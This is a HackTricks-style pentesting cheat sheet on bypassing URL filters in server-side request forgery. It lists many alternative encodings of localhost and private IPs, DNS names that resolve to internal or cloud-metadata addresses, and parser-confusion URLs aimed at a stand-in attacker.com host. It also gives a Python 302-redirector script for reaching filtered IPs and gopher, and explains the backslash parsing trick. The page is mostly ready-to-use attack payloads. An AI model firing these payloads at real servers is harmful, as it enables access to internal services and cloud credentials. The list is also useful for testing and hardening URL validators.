hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
2022-02-13 12:30:13 +00:00

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# URL Format Bypass
### Localhost
```bash
## Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
## CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
## Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
## Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
## Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
## You can also mix different encoding formats
## https://www.silisoftware.com/tools/ipconverter.php
## Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
## DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (649).png>)
### Domain Parser
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
```
```
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Domain Confusion
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
http://{domain}@attacker.com
http://{domain}%6D@attacker.com
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
https://{domain}@attacker.com
https://attacker.com#{domain}
https://{domain}.attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
http://{domain}@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
http://attacker.com%00{domain}
http://attacker.com?{domain}
http://attacker.com///{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Explained Tricks
### Blackslash-trick
In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.
Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes [one extra character](https://url.spec.whatwg.org/#authority-state), the `\`, which behaves just like `/`: ends the hostname & authority and starts the path of the URL.
![The two specifications parsing the same URL differently](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Other Confusions
![](<../../.gitbook/assets/image (629).png>)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)